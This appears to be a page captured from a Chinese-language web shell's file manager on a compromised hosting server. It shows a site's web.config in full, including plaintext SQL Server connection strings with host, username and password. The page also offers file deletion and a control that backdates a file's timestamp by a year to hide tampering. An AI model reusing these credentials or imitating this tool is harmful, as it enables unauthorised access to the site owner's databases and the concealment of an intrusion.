文件操作 - web.config
返回文件管理
返回主菜单
删除本文件
文件: E:\HostingSpaces\kimblycr\json.kimbly.in\wwwroot\Old\web.config
编辑文件内容
<?xml version="1.0"?> <configuration> <connectionStrings> <add name="ApplicationServices" connectionString="Server=sharedmssql7.securehostdns.com,1234;Initial Catalog=Restaurant;uid=kimbly;pwd=Password@1234" providerName="System.Data.SqlClient"/> <add name="RestaurantConnectionString" connectionString="Server=sharedmssql7.securehostdns.com,1234;Initial Catalog=Restaurant;uid=kimbly;pwd=Password@1234" providerName="System.Data.SqlClient"/> <add name="HotelConnectionString" connectionString="Data Source=sharedmssql7.securehostdns.com,1234;Initial Catalog=Hotel3;uid=kimbly;pwd=Password@1234" providerName="System.Data.SqlClient"/> </connectionStrings> <system.web> <compilation debug="true" targetFramework="4.0" /> </system.web> <system.serviceModel> <services> <service name="JSONWebService.Service1" behaviorConfiguration="JSONWebService.Service1Behavior"> <endpoint address="../Service1.svc" binding="webHttpBinding" contract="JSONWebService.IService1" behaviorConfiguration="webBehaviour" /> </service> </services> <behaviors> <serviceBehaviors> <behavior name="JSONWebService.Service1Behavior"> <!-- To avoid disclosing metadata information, set the value below to false and remove the metadata endpoint above before deployment --> <serviceMetadata httpGetEnabled="true"/> <!-- To receive exception details in faults for debugging purposes, set the value below to true. Set to false before deployment to avoid disclosing exception information --> <serviceDebug includeExceptionDetailInFaults="false"/> </behavior> </serviceBehaviors> <endpointBehaviors> <behavior name="webBehaviour"> <webHttp/> </behavior> </endpointBehaviors> </behaviors> <serviceHostingEnvironment multipleSiteBindingsEnabled="true" /> </system.serviceModel> <system.webServer> <modules runAllManagedModulesForAllRequests="true"/> </system.webServer> </configuration>
修改文件时间
将文件时间修改为当前时间的前一年
删除文件